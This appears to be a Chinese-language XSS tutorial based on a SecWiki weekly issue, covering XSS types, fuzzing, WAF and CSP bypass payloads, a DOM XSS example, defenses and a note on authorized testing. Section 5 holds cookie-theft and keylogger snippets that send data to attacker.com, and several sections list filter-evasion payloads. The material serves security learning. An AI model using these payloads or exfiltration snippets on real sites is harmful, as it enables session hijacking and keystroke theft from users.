SecWiki周刊(第316期)
字数 1219 2025-08-18 11:39:30
XSS从入门到进阶:Fuzzing、Bypass WAF与Payloads实战指南
一、XSS基础概念
1.1 XSS定义与分类
跨站脚本攻击(XSS)是一种将恶意脚本注入到可信网站中的安全漏洞,主要分为三类:
- 反射型XSS:非持久化攻击,恶意脚本来自当前HTTP请求
- 存储型XSS:持久化攻击,恶意脚本存储在服务器上
- DOM型XSS:完全在客户端执行,不涉及服务器响应
1.2 XSS危害
- 窃取用户会话Cookie
- 重定向用户到恶意网站
- 发起CSRF攻击
- 键盘记录
- 钓鱼攻击
二、XSS基础Payloads
2.1 基本注入方式
<script>alert(1)</script>
<svg/onload=alert(1)>
2.2 绕过基本过滤
<ScRiPt>alert(1)</ScRiPt>
<iframe src="javascript:alert(1)">
三、XSS Fuzzing技术
3.1 Fuzzing方法论
- 输入点识别:URL参数、表单字段、HTTP头等
- 上下文分析:HTML标签内、属性内、JavaScript代码内等
- 过滤规则探测:字符过滤、关键词过滤、编码转换等
3.2 自动化Fuzzing工具
- XSStrike:高级XSS检测工具
- XSS Hunter:盲打XSS利用平台
- Burp Suite Scanner:企业级扫描工具
四、WAF绕过技术
4.1 常见WAF防护规则
- 关键词黑名单(script, alert, onerror等)
- 特殊字符过滤(<, >, ", ', /等)
- 长度限制
- 编码检测
4.2 高级绕过技术
4.2.1 编码混淆
<!-- HTML实体编码 -->
<!-- JavaScript编码 -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
4.2.2 非常规标签
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
4.2.3 协议混淆
<a href="jAvAsCrIpT:alert(1)">click</a>
<iframe src="data:text/html,<script>alert(1)</script>">
五、高级XSS利用技术
5.1 窃取Cookie
var img = new Image();
img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;
5.2 键盘记录
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://attacker.com/log", true);
xhr.send(String.fromCharCode(e.keyCode));
}
5.3 绕过CSP
<!-- 利用JSONP端点 -->
<script src="https://example.com/api?callback=alert(1)//"></script>
<!-- 利用AngularJS沙箱逃逸 -->
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>
六、防御措施
6.1 开发者防护
- 实施内容安全策略(CSP)
- 对所有用户输入进行HTML实体编码
- 使用HttpOnly和Secure标志设置Cookie
- 实施X-XSS-Protection头
6.2 WAF规则建议
- 不要仅依赖关键词过滤
- 实现上下文感知的过滤
- 限制输入长度
- 监控异常请求模式
七、实战案例
7.1 存储型XSS案例
- 在评论字段注入恶意脚本
- 脚本存储到数据库
- 所有访问该页面的用户都会执行恶意脚本
7.2 DOM型XSS案例
// 漏洞代码
var hash = location.hash.substring(1);
document.write(hash);
// 利用方式
http://example.com/#<script>alert(1)</script>
八、资源与工具
8.1 学习资源
- OWASP XSS备忘单
- PortSwigger XSS实验室
- XSS Filter Evasion Cheat Sheet
8.2 实用工具
- BeEF:XSS利用框架
- XSS Hunter:盲打XSS平台
- DOM Invader:Burp Suite的DOM XSS检测工具
九、法律与道德
- 仅在有合法授权的情况下测试XSS漏洞
- 发现漏洞后应遵循负责任的披露流程
- 未经授权的测试可能违反法律
本教学文档基于SecWiki周刊第316期中的《XSS入门到进阶(附Fuzzing+BypassWAF+Payloads)》内容整理扩展,结合了其他相关资源和技术实践。建议读者在合法授权范围内进行测试,并持续关注XSS防护技术的最新发展。